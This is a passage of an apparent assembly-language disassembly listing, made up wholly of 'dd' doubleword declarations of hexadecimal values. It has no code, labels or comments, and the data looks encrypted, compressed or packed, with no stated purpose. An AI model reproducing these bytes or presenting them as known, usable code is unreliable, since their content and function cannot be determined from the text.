6764BE02h, 0FA804612h dd 0B9ED98A0h, 0A9C2E910h, 0DC14AE48h, 8ADE641Ah, 85387488h dd 40AF66E9h, 6FF2C7D8h, 0DEA002F1h, 6095C65Fh, 0BF975CB6h dd 307C5846h, 0C95CE6F1h, 0A6F2077Ah, 487E25E8h, 0CD135D52h dd 15ADC404h, 0AEC211C2h, 4DB3078Dh, 0CFD1E264h, 0F3C8310Bh dd 12592581h, 52FEE62h, 1EEFC355h, 0D4B90C00h, 4148CA27h dd 5FE10081h, 0E939D02Ch, 62C4880Ch, 0BCADC329h, 7FD2C84h dd 2F75D188h, 623BDEB1h, 1577584Dh, 382DBC00h, 6E4209h dd 22E97CF1h, 586394F5h, 0AEA51E9Dh, 4BF47927h, 82F5C2B2h dd 1155D91h, 0FC92C180h, 481D2C23h, 13BAC828h, 0D8F07BE9h dd 46250BBEh, 51E44971h, 37B29A22h, 0B2EF5EF0h, 91D2CDD3h dd 66F8139Eh, 8622B5D3h, 9FB17834h, 0C753F68Bh, 0E05AE90Bh dd 0A9D03124h, 0D97EB938h, 0F28E000Fh, 66697725h, 43AEFC0Ch dd 2D26D345h, 7825FF2Bh, 0DD110B18h, 6C702330h, 3CDEA0B5h dd 98641A33h, 0CF59951Ah, 5FFAE962h, 57C77AE2h, 0CC6E0728h dd 8F57C11Fh, 6E36F1h, 9F6F0551h, 12FA91Eh, 30567C3h, 70EF4B92h dd 3940EDE0h, 1D7BC620h, 27291250h, 5C782AFCh, 898C96D2h dd 8D5C778Bh, 52B82B62h, 287C0D30h, 0F8F53A19h, 59B52F90h dd 0C4AA6F8Ch, 0B4EA0964h, 65EA8FD5h, 39ABEC1Fh, 3FB92970h dd 0F9A84E57h, 0F876D9C9h, 0E970402Dh, 0DC1D4B8Fh, 3E09689Ch dd 0D77D0670h, 97609632h, 61827F4Bh, 0E0342F1Dh, 4DEA1C87h dd 802FFD31h, 3938E508h, 0A66825E2h, 0CCB76E6Ch, 0B7FE6C30h dd 7625962h, 7C64B833h, 0A31A60E3h, 82A0962Dh, 7091F0Bh dd 8F22971h, 0E525082Fh, 0C9D3983Fh, 376246E9h, 7D7B165Dh dd 0CFA0BE16h, 2F047DA2h, 25E94F35h, 685F3BD0h, 461A473h dd 7C10A7B9h, 5B5F8001h, 0FE0A83EFh, 5B1EA068h, 0DA257C43h dd 5E184052h, 60CD4801h, 95590B40h, 98F12122h, 5C899FF4h dd 17CDE439h, 8B081E68h, 0D129111Dh, 984F5358h, 0EC86C3F5h dd 4BD99DACh, 35E7844Fh, 4BABDBBFh, 0BE13868Ah, 0FFF434C9h dd 27D10744h, 0BF2D74AFh, 25C2528h, 3FB96853h, 57932964h dd 2C464DD9h, 5985922Bh, 0AD970CB2h, 546DDD45h, 0C8E9D0E8h dd 0C5BD2095h, 5AEC4674h, 4006B978h, 0EC15808h, 111E6944h dd 8CF30C9Eh, 66364991h, 29360618h, 257CB00Ch, 1603E10h dd 7090C90Bh, 96130C20h, 0EB1C4336h, 43C37701h, 89F5F814h dd 0D25547Ch, 0BDDE34E2h, 16BFB368h, 0C6A9C80Fh, 9282F477h dd 40BFFA3Ch, 0E6048118h, 47E1522Bh, 28FC09EBh, 0D4BDE720h dd 5C601953h, 0F56E3FAAh, 74E91323h, 8F79A9F0h, 64BAD6A2h dd 0EFFC11Fh, 19EB4DD7h, 0B75320DDh, 23DB1102h, 0E303E9C1h dd 0E1DE03A7h, 6D1D397Ch, 5AE2F1B0h, 0C175272Dh, 6A03C3h dd 7800511h, 3500534Fh, 17205982h, 2C44A02Dh, 42AA98BCh dd 99D95EF3h, 0D42A2EACh, 6444599Fh, 1730E8ECh, 4EC1478Fh dd 0EA0486A1h, 65A47327h, 5A2716B8h, 8B922C4Ch, 301B602Ah dd 5AAC874Ah, 56FCD3DFh, 551805D9h, 946F8251h, 0A8045900h dd 7CB5F452h, 983F256Bh, 9D9F70D1h, 6AAD5C20h, 0A5969924h dd 4C9D1E1Eh, 23832D0Eh, 8AD996BBh, 470D751Fh, 0C550090Ah dd 0E7F15895h, 98DE096Ah, 31B5E2A3h, 2B23EDF1h, 227F8FE1h dd 54C189F8h, 28707A5Eh, 96264A68h, 2CB3903Eh, 8D12CA5Dh dd 0DA1042AFh, 870585Bh, 9D63EFF8h, 0C1926818h, 237F08BBh dd 89AD808Ch, 1A3AD89Dh, 13C51240h, 0EEAF65EAh, 0E45C4719h dd 4BA2347Ah, 2A05BBA8h, 0B3DFD5EEh, 3B680D86h, 0A2C6A72Fh dd 5D78B288h, 0B5CA0D02h, 45198175h, 6F3CDA28h, 27DEE110h dd 17A7F121h, 0A8A352FBh, 722E81BDh, 8403F75h, 137F510Fh dd 0F354292Fh, 0A10C4159h, 11B51C10h, 5AB24AAAh, 0AFF40836h dd 2B62913h, 71512D0Eh, 56535741h, 0B5B64152h, 4406B2Eh dd 0D426D55Bh, 73C27D29h, 2FCC951Dh, 835DEE07h, 6CF402C6h dd 0B747FF93h, 77BC27D5h, 0FB73D2DCh, 8883E675h, 89190944h dd 40405DEFh, 45595568h, 4D098030h, 27C10764h, 9DF908EAh dd 0C955CA73h, 230217Dh, 91591ABh, 34DD40E4h, 0BB530072h dd 18CA3E72h, 0EA5AFDE9h, 73CF0C67h, 0FFC24E62h, 0DC96596h dd 81EF725Ch, 287BE4F7h, 104F69C5h, 17F484E8h, 0C4EEA9B2h dd 77A0F7E9h, 68C22680h, 0AFC52C96h, 5C70E914h, 0EAB0A297h dd 55185FA5h, 0B4B7194Dh, 5E344761h, 0D12D7302h, 34B56171h dd 907943E4h, 12C18ADh, 5FE91841h, 0BBCA3F3Eh, 5D05129h dd 0B0B30408h, 4A9A9117h, 0F3903472h, 7D094098h, 3261DD5Dh dd 7F80D54Ch, 15827312h, 2AD00176h, 420C6008h, 14564D7Fh dd 991BC068h, 5F34E9C5h, 5BFC49D1h, 9D8B9CD5h, 9CB8BEB0h dd 0D2623304h, 5BE966E9h, 0F85EF212h, 397509E2h, 17515h dd 355AE94Bh, 27596C47h, 13B64407h, 0FA1F7258h, 152BA901h dd 190318F6h, 8F3EB8E9h, 9DEC5D24h, 4E3A7827h, 0CA19B289h dd 6102AE51h, 0D063E460h, 0B1AA0996h, 5C8EBE0Ah, 0D1E3533Dh dd 213A65CEh dd 0D2B42E07h, 99381D01h, 4492BC63h, 0CBF1813h, 0ED30EEDDh dd 19AA9284h, 10F1A66h, 8095EFDh, 8969E354h, 0D0D2DE24h dd 194B4EE9h, 8629E589h, 6019E3D2h, 0B1D8418h, 0DD29342Ch dd 8081382h, 591DACA2h, 5DAFF889h, 12276014h, 0E5006885h dd 9506A0ABh, 305782D5h, 8071194Eh, 80040AB3h, 0E3C016CBh dd 984D52C1h, 6BCCFE01h, 0B8ECE0E5h, 2D669D0Fh, 26A011F4h dd 5F9E70F3h, 0A6A88544h, 5E17E834h, 858B967Dh, 2F65F14Ch dd 0A661698Dh, 0E9E0C868h, 61822D76h, 0C87429D1h, 0AC14809h dd 43D987B0h, 0CBE43173h, 3EB208D4h, 935F167Bh, 1645704h dd 5610B7B3h, 48958E6h, 165D600Bh, 291EC7ECh, 0BAEECEFEh dd 877203A0h, 0CCF35EF7h, 5F7135C0h, 0BA53215Ah, 6BEDFB0Bh dd 40E6B898h, 0C1E607Ch, 739513AAh, 9C7562C7h, 0EA88834h dd 0BE6911h, 0B8DF49EEh, 0B1F231DDh, 94540849h, 38C95A2Dh dd 0D01DDF04h, 0F3692D2Ch, 0AFD754B4h, 3C5B76DEh, 0BA045214h dd 0BF0263Ah, 4094A780h, 0E91615FCh, 0D948DF17h, 0C173C2E4h dd 93E7D20Eh, 0FE0085D3h, 0A422C905h, 58C1FF44h, 0E91A28EEh dd 25EC6D24h, 10696667h, 0C96FC132h, 0E800C33Dh, 3C462A56h dd 61C7813Eh, 1E60E903h, 8101356Fh, 349386B6h, 3D412576h dd 3595CDEBh, 6A074EE8h, 601B0364h, 5C31595Bh, 0A59C11BAh dd 1420DF68h, 0D42CD084h, 89885209h, 0B576A82Bh, 0A67E062Ch dd 6947D24Bh, 0B2F36F6h, 0F7E50121h, 953052D7h, 3129819Fh dd 42826E76h, 251C5E42h, 634C58F1h, 0A9BA4DE9h, 79D5BB02h dd 0AD767E2Eh, 3BF9B588h, 4DF17879h, 1F5B1D72h, 0B18BA51Eh dd 37A2AFCh, 761D9ED4h, 71300719h, 0C25A743Ah, 0CC5F1CCCh dd 0B3E9C0Ah, 0C77363F7h, 0C9587949h, 14196E41h, 9984C1BCh dd 762D0B0Ah, 2792A0CBh, 62A28245h, 24D5B9FAh, 7D01C0Ch dd 0A8229E68h, 8BD0F6EEh, 0F9361FD8h, 4D5B642Ch, 0DBF70700h dd 0BDA9DCE9h, 1447A266h, 0B909F84Bh, 0CB119520h, 0D3E9ED1Fh dd 6822605Bh, 76661427h, 48CCC093h, 0BE051CF2h, 0DC464F35h dd 0EE6E85AEh, 0FB633F31h, 19176800h, 4FBDAAA6h, 64792DF7h dd 0CEBD5193h, 0F1DEE9B0h, 0BD80E4B5h, 0A58978E5h, 7A723BBh dd 450A306Eh, 56194FE2h, 0F22D4302h, 0C13C9808h, 74005CFh dd 9DD1685Dh, 0BA75A989h, 73095F33h, 553F368h, 0D02816C1h dd 2CC8665Ah, 74F0E061h, 0F692EC04h, 6BD2F68h, 0E92111B6h dd 524AC902h, 7F8405C2h, 895DB579h, 516D9C7Fh, 685500B6h dd 2F917E3Dh, 0C1315D26h, 4B08EB19h, 0A3D8F02Fh, 0F3381B41h dd 682F0F20h, 4BEF725Dh, 25A180B2h, 76012264h, 3A570549h dd 0E1D4096Eh, 0FED50518h, 0BF10EFE9h, 0B4042C53h, 904AD1Fh dd 80C0AEDAh, 7EF6F7CDh, 0EFF02CDEh, 24D9BF7h, 0E3D0F5CAh dd 0EBDDF1B5h, 251758FCh, 41BBAC84h, 0F7FBC6F2h, 0C36870CCh dd 0E9842394h, 1BE8FAD0h, 510E85D0h, 0CB4BE188h, 0E92C8B06h dd 923A1025h, 6558C034h, 4663F41h, 0E44E6B17h, 0EA88CE05h dd 8E480634h, 0A4FA294Ah, 0C15F0880h, 0D102E209h, 50D52EAh dd 0C3A32E2Bh, 164CE229h, 2618F0Bh, 0C82BAF0Fh, 6C40BDD7h dd 74F19758h, 0D8746302h, 773B6011h, 613C58F1h, 8ECFC824h dd 0F700DBB7h, 7E7C05Ah, 0F000F895h, 0B65225B8h, 0D7C01409h dd 416E828h, 0AECC599Eh, 0D05B00B2h, 98CA80E2h, 0E913DAF6h dd 0B2537E39h, 0C73FCBA6h, 0FA06F412h, 0CA4EF3Dh, 0E956582Fh dd 2B316525h, 0AE205503h, 188D2D5Bh, 0B657D424h, 5D7607A0h dd 4D23E709h, 8635E60h, 0AB2C9841h, 452D7EEBh, 819C5721h dd 9BA526Fh, 2D21340h, 12A1766h, 84710D6h, 37155A4Eh, 0E8AD70E5h dd 4B436881h, 0F48DD41Bh, 15177F72h, 54087B28h, 54003A4h dd 42BA2A20h, 98464D7h, 3628746Fh, 0B90436F8h, 0D7098701h dd 476082ABh, 0C7B5A5C0h, 8CE8BE81h, 29341315h, 81DF2DD6h dd 5DC92FA6h, 0E63921E7h, 404EC95Fh, 4A728513h, 3A205D7Bh dd 0FA013B1Ch, 88AB3597h, 59972796h, 32CF88C9h, 80D4F607h dd 0E728BBA0h, 0FD300758h, 0BEC5FE5Bh, 2B07D349h, 0AEEE621Eh dd 664400DFh, 3B8FB753h, 5B3FFE08h, 693F619h, 5A7B3016h dd 2C4CE8E0h, 0E4BA1058h, 0F57E052Dh, 69FA5593h, 0A4FF3CC1h dd 1A3FE0C1h, 0C72FE006h, 26B9D1F7h, 0A7700B5Bh, 712BB0E8h dd 72975A73h, 400882C0h, 865434C0h, 27F24EBDh, 0F212ACC3h dd 4C72B0DFh, 896681EFh, 0DD69E864h, 0ACC01430h, 0EC6B669Bh dd 0B7A72CD1h, 0D01444F7h, 43DB6899h, 2F616695h, 8BDBC217h dd 148D32B1h, 9D03F26Fh, 6A972062h, 919D09Fh, 4C6F7818h dd 0D83FAE5Eh, 761E6B74h, 1F6D050Dh, 0F9AF09AAh, 62772BC2h dd 95C1503Ch, 0F5185DC7h, 4A80E991h, 0C999AC2Dh, 0D2310252h dd 2EB075CFh, 8916B951h, 0BA006A59h, 0C12901EFh, 0EB0CC072h dd 0E93DD14Eh, 756DDF4Dh, 56C33669h, 0A0976E35h, 0D0590104h dd 2DEAA4F3h, 918D6B9Fh, 932DFC6h, 3CFE146Ch, 90361DD7h dd 7F45BD0Ch, 2FA2C3A0h, 2E09272Fh, 65B77150h, 0FE693477h dd 0F882B7C9h, 218015FCh, 0AEB76075h, 0D6F3CAAFh, 0D3CE0817h dd 57DF6BA2h, 8FB05092h, 3CF50780h, 0B259EA28h, 37105A5h dd 12725388h, 32280D30h, 440DAF06h, 83E8B550h, 37AC7EB0h dd 0BA28517Dh, 80BF7A02h, 5C583D8Eh, 329C9D7Eh, 305A0F81h dd 7C4EB66Fh, 0CC2F56A7h, 0A64B4BC3h, 54D8AEADh, 82BD1396h dd 0FFB4D32Fh, 0CC90AC18h, 50619195h, 0BA145B21h, 39CC87FFh dd 7205F58h, 1DB22727h, 869A1440h, 0FEA8D281h, 69042793h dd 5EA873FBh, 3324DF4Bh, 1DBCBAFh, 76C2BD55h, 93600503h dd 4A3573C5h, 74D0A808h, 82892549h, 0D610C768h, 0F4166245h dd 8949E3F4h, 0E99763D3h, 22468BBh, 5B67F8F5h, 6F1B28F4h dd 9033585Bh, 0F4CC842Ch, 291E6283h, 3BAF0878h, 44509405h dd 17B90BBFh, 407E51D8h, 89395EF9h, 815F89F2h, 0DD6007CAh dd 6DD04AA5h, 2D7DC7EAh, 17F82D49h, 88E8555Bh, 3369B34Fh dd 204BC758h, 0B00FC00Ch, 0C0C330ABh, 0E380D3F6h, 0AFE1E7EEh dd 2CF3047Bh, 21BCB529h, 0D4C121h, 2F5CB768h, 0C31A0F25h dd 554EBB03h, 663552C8h, 5F96391Fh, 101E88Fh, 47140277h dd 4105C840h, 46903E40h, 97D6E505h, 0C067C48Dh, 5396F7CFh dd 6825AF78h, 0A6EBF976h, 0BCE01292h, 22A5D6F8h, 51823684h dd 8699F0AAh, 71EDB009h, 0B3BC7701h, 0D9255B50h, 3D8C1A4Eh dd 0E2264F13h, 0CE12DEBEh, 4DD7808h, 0E1E5305Ah, 0F9D97EFFh dd 9759E8F0h, 8B6E2879h, 4A7D8968h, 0B7CE4111h, 0FF7E160h dd 5BFA88AFh, 0B8D3133Dh, 0E95A04CCh, 0CD8DA798h, 0C4A7B22Fh dd 9F81C138h, 9B8F6765h, 28CDEF80h, 0DEE2D950h, 2535FC41h dd 0F1F22E0Bh, 0D7604A1Ch, 3546F008h, 5D8D7EE5h, 0FA54ACE5h dd 3BB6EF01h, 526170FAh, 4458857Eh, 12A35AFh, 0D1885153h dd 0B421CFC9h, 0F6B5102Ch, 0ED5A10D6h, 813E04Eh, 6894F0F2h dd 5CC6F03Eh, 9D227571h, 565C7C40h, 3514020h, 233A355Bh dd 8E0734C8h, 0EC6F2D02h, 55319952h, 72669702h, 544EFEC6h dd 0EAD343A2h, 2E8096Ch, 68C8310Ch, 8C561052h, 34825645h dd 0C67309A6h, 5362C028h, 0C71CF20h, 0BF48460h, 380C2360h dd 0BD12DA31h, 1EB0F7C5h, 0B588A78h, 36CE94Ah, 18E4B05Eh dd 0F16FB2A4h, 62D660ADh, 219AF9EAh, 6D29758Ah, 719D9657h dd 4923B411h dd 0FB024174h, 4207CB0Fh, 7CB0820Dh, 0CF43DD06h, 0CC08E638h dd 0EC845B2Ch, 77BDC0FEh, 0D80FD16Dh, 48E9E889h, 0EAC10418h dd 8EBCB402h, 3FDBE17h, 9CEB1234h, 0C758E925h, 62AD909Dh dd 41506406h, 0B13ACF85h, 65BEF16Bh, 51342A34h, 94A5B50Ah dd 69EE8181h, 0F8F2B572h, 69D89517h, 58EB84D3h, 49A80C78h dd 0E97C5209h, 0E3372B6Ah, 0CA1BC29Ch, 0EB1C0434h, 0C7058EAh dd 3F2E118Dh, 82C95048h, 6D1D4D2h, 0A320445Eh, 0A35F6165h dd 761C4F21h, 0B3D45059h, 6B6B3B9Ch, 4A3DA663h, 0D3C46759h dd 1A2D813Fh, 0F06B2E58h, 536A3664h, 1F7F4AB4h, 531D4EF6h dd 0A6AFC586h, 0C0FE092Fh, 0EBF6832Ch, 0AFC3832Eh, 0F9CAB32Eh dd 0C609EC4Bh, 4B6936E9h, 9226A250h, 9BB09CC4h, 2929C922h dd 22F7BCCAh, 5CE073BEh, 7B66EF79h, 0C10317B6h, 36F55AA3h dd 0D2F6E15Eh, 6523D12Fh, 8B14C538h, 0DBBC9346h, 8C97BD52h dd 0C131AB82h, 0BF00B4C1h, 353D247Ah, 4FE73B2Bh, 5C34D049h dd 0D8074301h, 0BD070D5Fh, 5EE77240h, 2C6852E1h, 3E34D1CEh dd 3D363F79h, 0CC515F1Dh, 812E8FB9h, 7A2EE118h, 41D7F10Ah dd 48BD6044h, 0CF3021FEh, 56F71259h, 0EC82D64Fh, 22D1103Ah dd 0D436865Fh, 0D2707D01h, 58C2213Bh, 0CB29A02Eh, 71412E00h dd 505527BFh, 8FE9150Fh, 0EA20B4E1h, 7142F2B7h, 0B689495Dh dd 3E6868CFh, 3CF6B688h, 100DE6DAh, 0B84E80ECh, 9F939E7Ah dd 0E5209FE1h, 40EEF0F9h, 44B830Bh, 0E266D131h, 0BDCE8000h dd 0FEEE06C7h, 891E1D6Fh, 0C36E6CCh, 0F3880045h, 0C0EBD05Ah dd 0CBFC05E3h, 6941FD48h, 4EC0058h, 74D02867h, 5AF9E52Ch dd 13488C28h, 59127920h, 2DAED030h, 2A6861B6h, 0BD8944D1h dd 0D12C2EB8h, 8BF10E89h, 92601D7Fh, 0FE2504C9h, 3999BF21h dd 3647293Fh, 0ABBC5B59h, 4817A410h, 1F080238h, 77893516h dd 0E7C11D30h, 0EF07B1B0h, 424DEB7Bh, 409CC660h, 503E5F83h dd 994B08F7h, 4584C367h, 5DEB6F63h, 0A08BD779h, 0E1956402h dd 999A918Dh, 8813F358h, 205562EAh, 0B8A9F666h, 0F77813ADh dd 9262EAD6h, 546ACABCh, 0E7F3E930h, 0EF12BA0Ch, 0B37A9FC3h dd 0C4584596h, 4155160Ch, 0FBA05356h, 0B4C0A104h, 0F432E81Eh dd 0F48A4FA6h, 777EC678h, 0AF274C7Bh, 0D2BE22F5h, 0C6800191h dd 8E5430BEh, 501EF3E0h, 0C4CB64B4h, 99C84C7h, 0EEED1DAAh dd 70210E2h, 20478F5Fh, 0D4403B95h, 0EB11A8BBh, 98AEA67Eh dd 3DC80268h, 9AE90B21h, 94F586CAh, 49AD4A9Ah, 0D60ED7FFh dd 6075B492h, 0B9512BC0h, 134E59AEh, 64CE2901h, 8718FFB5h dd 276844E8h, 657C636Fh, 428F5702h, 54216038h, 12D824E9h dd 0ED3CCF44h, 0B357F942h, 9EA2E176h, 6BD8281h, 6E2ACA77h dd 0DFE04417h, 71A14E59h, 3FDA6817h, 0B33A2699h, 9EFD5B1Ah dd 5531A05Bh, 932A925Dh, 0DAFA26FBh, 6B4D30C3h, 0BDA98E68h dd 0DA9871D2h, 3D8AB05Fh, 0BE38015h, 0C7D05289h, 0C2E9350Dh dd 25F8208Ch, 81A8582Ch, 0F726AC20h, 1C0E4FD7h, 0A0DD263h dd 106A9B48h, 67C4957Bh, 5E51D1BFh, 6510E159h, 428E2EAEh dd 0E4FBBD5Bh, 0C88B313h, 940BB759h, 76728054h, 0F1CC8CDAh dd 0FB97EE27h, 87273FCCh, 0DCB99CC1h, 0F58EB60h, 149E0409h dd 86F85F52h, 48C37F10h, 2DE3D633h, 80C44940h, 0F3956354h dd 0B55969C8h, 3EE1FB25h, 45B26D2Ch, 4E5BF9F7h, 0C714CD88h dd 0EBF580C5h, 0CFB67B03h, 8C16D0E1h, 0EF215E58h, 52C140C7h dd 0B9C2B3B4h, 3C06F97Dh, 0B20A0817h, 884E7852h, 25FEC150h dd 8460FC58h, 0C32BB151h, 77B03D7h, 0C7A186F4h, 71BA20F6h dd 0B4B6014Eh, 7759B118h, 0F681EAB0h, 6715B369h, 805FEE20h dd 922F27B4h, 277B4A58h, 1E97D961h, 15774950h, 0C97F1BD5h dd 31011EE6h, 94A16FD2h, 9766B36Bh, 16DE3E54h, 0E3D1E5A2h dd 0FE74CAB7h, 0E1C50581h, 0A91D4605h, 0E08412Ah, 0D1A012DCh dd 0BD0260F2h, 785C7A93h, 0F730BF50h, 9E5742DDh, 0C6D64AC6h dd 584F58DFh, 963C8DD8h, 5F9A3A0Bh, 80565360h, 856BF100h dd 4F01AF22h, 0E14DACCAh, 652B02C2h, 0A6B4323Ch, 558FDC8h dd 2475DAB7h, 1761D001h, 73F79795h, 0E0CC6C3h, 691C6F09h dd 4683415Dh, 26A39735h, 0F4520E68h, 7ADF2A89h, 42360B50h dd 1AD753DEh, 42685D34h, 0B92764C9h, 21898606h, 974D2782h dd 1E2F8D53h, 95EAEC7Fh, 8C44AEBAh, 7015E03h, 98ED355Bh dd 0B8051D1Eh, 0B587214h, 84FE940h, 0F397E444h, 20F4A59Ah dd 5FA1DAB1h, 9B315475h, 192B43Eh, 0A557FB3Fh, 400EFA61h dd 8A97A11Ch, 66937B7Fh, 7EF06304h, 2825FAE2h, 0BC20A570h dd 0E58825D9h, 0CBD35450h, 97BE3BCh, 7F9DE92Bh, 76BF3CC8h dd 0D8FF1171h, 7AB41768h, 359D046Fh, 0F5C4D4ECh, 0C7CDBBC8h dd 0AA28CAE5h, 352124h, 0ABBE581h, 0DFA30F2Ah, 155D692Eh dd 8595D444h, 0FCD02DEBh, 48926E27h, 0EE902590h, 0DA2B6600h dd 0E9F02921h, 3FE16020h, 5B12B1F7h, 0A0C73A4Eh, 3250AF8Fh dd 281DBAA0h, 9D67D18h, 0DAE95FF8h, 45575AE2h, 60F29C62h dd 5E4DB198h, 0E6012EB3h, 1E85FF69h, 0BC82ABFBh, 0DE17C853h dd 29151256h, 717105Ah, 0D7015B0Fh, 5510E154h, 25583BA6h dd 9D335870h, 500012E5h, 0FB035268h, 8E2ACF09h, 93564E10h dd 4A9D8B82h, 0CF3D49Fh, 0EDCF7677h, 0B3845A97h, 7C82D29h dd 8080EF26h, 29F178F6h, 4A83DB6Fh, 60181FC7h, 5BD36815h dd 0A2B884F7h, 0A535CDAFh, 70387439h, 0F9955FFEh, 78E9E140h dd 0C4BD2CF3h, 8514A0D7h, 22F90716h, 0B0A08759h, 169F318Fh dd 98F8E695h, 1B6450FDh, 3A794120h, 28B54401h, 59D12CE8h dd 0C79FF028h, 86618724h, 0E9124B66h, 614E93F7h, 8D3CDDDh dd 2E35D060h, 2D639C83h, 0BAF00164h, 82D27E82h, 1CC2663Dh dd 7FA6EED4h, 5B042310h, 0FB6C6068h, 34AA6C34h, 1190AF82h dd 0A9BBD6E9h, 1420E3E6h, 40615A4Dh, 7E0F7512h, 0D37D0117h dd 21919EE4h, 0EF880A0Dh, 402DA9Dh, 0BC721A68h, 5D798623h dd 0EE170ADh, 0C1346515h, 0C23F02CFh, 2C429E7Dh, 95B5740h dd 2969BA09h, 80188CAh, 2025913h, 4A5AE956h, 537BFC85h dd 6E9486F1h, 49BC5892h, 946FBAFEh, 0D684EA28h, 0C86781BFh dd 0FAD13ECCh, 0A5681A26h, 8456A2E5h, 0A2A11DE9h, 10E5DFE6h dd 9F4CBBCh, 584BCB02h, 51AB740Fh, 0C22E9772h, 6C1EC8D7h dd 0FAD984CBh, 3A9C003Eh, 0E6817F05h, 0C1274249h, 3B86701Fh dd 0E90C0102h, 245F9C43h, 0A1754695h, 5629C9C4h, 61D2F203h dd 6C0546AAh, 0B3431016h, 4E680AA0h, 584EA34Bh, 0FAA87E50h dd 8F975EF3h, 0BA3D66B0h, 6F0C5017h, 5F189558h, 8B97FAE9h dd 1081664h, 167E4A05h, 2EE8C128h, 4091ABC0h, 51450912h dd 57D282E9h, 410B74B4h, 6B1956B9h, 0AF09E851h, 0AACA94C6h dd 0E916F4D4h, 13F1C184h, 0E54D3504h, 80B3B601h, 512D60C6h dd 14270794h, 9F91B2FFh, 0F24AEA53h, 9DD831A7h, 642B8365h dd 810DC535h, 522BFCEh, 6BB57090h, 6095875h, 3000AE38h dd 7E7C15Ch, 4A26E94Fh, 0EC82EEF0h, 0D4733414h, 0D82905E5h dd 480A182Dh, 7520064Bh, 2BFC1E2Ah, 0EC0CF00Eh, 102CB061h dd 6A03314Fh, 0E869175Dh, 51C07EFh, 7CE93755h, 7826E2E1h dd 5D2E64FDh, 346581BFh, 0A60060D1h, 524FE836h, 805BFF5h dd 12A9BF05h, 6CC5DDAFh, 1E81A493h, 8C6AF6A0h, 0E2266846h dd 4AC1D066h, 0CD42553Ah dd 0A1562Dh, 4B3D0605h, 66975F69h, 301AA05Fh, 16B1D3ADh dd 75FA8074h, 40F31520h, 137D68Eh, 1CF01C5Ah, 2CD391EEh dd 4905E9Fh, 3BFC8B4Dh, 0E1322ACh, 0D9F6F5B1h, 0BA89D149h dd 0AA05BFA4h, 8682342Dh, 63C250F7h, 0DCA1CAD5h, 0E95E96CFh dd 0B2D925FBh, 6B0C0408h, 0DDFE5F97h, 0F747BCDh, 0D817B33Ch dd 3C132C5Ah, 416B7C81h, 1DADC271h, 0AD803E63h, 25891123h dd 58E2292Fh, 3B8A0808h, 68D07A81h, 6BCD01AAh, 0E5DC242Ch dd 0CBCE839Dh, 0FF61F5Fh, 0FC51D0EBh, 3DB29C58h, 0D53E59Eh dd 919E15h, 0B2600FD3h, 789289Dh, 0D6083224h, 0F06025A1h dd 71AE9BDCh, 0B0D719Dh, 0F2F1699Eh, 0C02B062h, 0A41CF2D6h dd 5CA70D5Bh, 4A712D2Bh, 1698DF09h, 24509508h, 0C8370250h dd 70AF85A5h, 0D11725AAh, 550B6B52h, 78299116h, 0F3403F49h dd 0EEA3B8D0h, 126E4B04h, 897283D1h, 27923E72h, 0BF8D169Fh dd 8FBAF7B0h, 0C2EED3B7h, 0D512B850h, 8F8204E2h, 2CF4E194h dd 9FC15065h, 0DC2B17BCh, 9B31689Fh, 8DA76F4Bh, 0BA799A0h dd 26DB6D8Ah, 1BC6610h, 599929C4h, 0C4F48807h, 89B4C8E0h dd 2519FDEBh, 0C4B16615h, 8003D533h, 0CA8135C1h, 0EE097B59h dd 687FE09Dh, 89581CE7h, 0F94FD43h, 459EB75Ch, 8022AE4Bh dd 3F721522h, 0B7E91B0Ch, 0BEA7566h, 76E34BBDh, 996CA200h dd 31024DC3h, 82685EF2h, 446D5C4Eh, 0F500805Dh, 0A0A4A37h dd 0A8E5D12Ah, 5E49A202h, 0E749704Bh, 0E9688C3Ah, 0A685FC4Bh dd 0DED998BFh, 4F94F2FAh, 28EA5816h, 2694E8AEh, 4AC9ED12h dd 0A0B149E0h, 0B02C75Ch, 0D78975F3h, 0F10C5A04h, 0FA2C2A7Eh dd 351D1768h, 0CCD3050Bh, 5534BBA4h, 9320D013h, 2618D5C7h dd 175707B1h, 0CD72545Bh, 385EDE5Fh, 55C54AE9h, 0DE10DCAFh dd 0DB2119D2h, 0F68C5F1Bh, 0C5AAF829h, 5D13950Bh, 0B074A25Eh dd 0C371F66Eh, 0D92DE73Fh, 0C516DC89h, 1342EC01h, 9288B970h dd 3F41F9EEh, 9607DA27h, 0AD97DECFh, 4F2F0CECh, 0D7EA59F8h dd 0AB6619A0h, 3E5FE9CEh, 79BA6824h, 0E8950472h, 4EA9D489h dd 0E9C225A9h, 0E5B1CF8Ah, 29BA5394h, 4A2C8BF1h, 8EA84F33h dd 98B708F4h, 44575F09h, 9852EE16h, 0C8FA4E24h, 68185619h dd 0AD870B30h, 605682BDh, 5A363501h, 142E8CA3h, 0CB25A919h dd 566B2254h, 575CF05Dh, 0C53D469Fh, 5E9DE340h, 90D10B3Fh dd 25088D65h, 6852009Ah, 66897703h, 0FD5D3AF6h, 4140BBBh dd 3A317425h, 2F70907Eh, 3E5B5E0Eh, 0F610580Bh, 3574400h dd 2E1F9268h, 9322D567h, 7CEBA35Bh, 69E4424Eh, 0FF09DC2h dd 0AD84CB5h, 0F861D0EDh, 74CD07C7h, 80311408h, 690BFDFDh dd 4AB1F35Dh, 0ABC9ABA2h, 0ECB7CF50h, 833B3161h, 2C427F9Fh dd 0DDE896A5h, 649250Dh, 8C72BD8Bh, 0C11E808h, 0E15F05D8h dd 0D088E97Fh, 50525C9Eh, 0A0B1DDF1h, 7D6FB3DFh, 3FE65761h dd 1C7A1210h, 8979F580h, 0D88842C5h, 6F8D29CDh, 0E7463CEh dd 0B3530A00h, 80F7B1B6h, 0A0D473F1h, 99D930B3h, 69420BF1h dd 19B7C110h, 5BFE881Ch, 0C5D1F317h, 0B2007465h, 64D8B5DAh dd 0EED80E4h, 0EF8853A5h, 2BE9F842h, 0D52D0AC8h, 97B1502h dd 8905D029h, 0C096FD07h, 0E5E0C34Bh, 2A56416Ah, 828FF5B0h dd 0FD92427Fh, 2EAE64C0h, 0FA917A24h, 5239940Fh, 0CFEFCE00h dd 0DD0DD132h, 0CA170118h, 0A2DF2968h, 280E818Eh, 895966CEh dd 7E3389F0h, 0B5132A1Ch, 164B6A73h, 0FF9755B1h, 0A626F52Ch dd 0ED589789h, 9A4A9F34h, 1689E379h, 4CB2D750h, 7FA03463h dd 574C70DCh, 0B9807357h, 0E4171E5Dh, 9DB58B38h, 49A8D9C6h dd 0F59CA1E6h, 87729C60h, 4A1CFA44h, 0BB8A4EF7h, 0C37D03BAh dd 7039FA4Fh, 0A278B781h, 0C79D0B7h, 86D49380h, 0C00A830Eh dd 8C0BE901h, 58AFDEA5h, 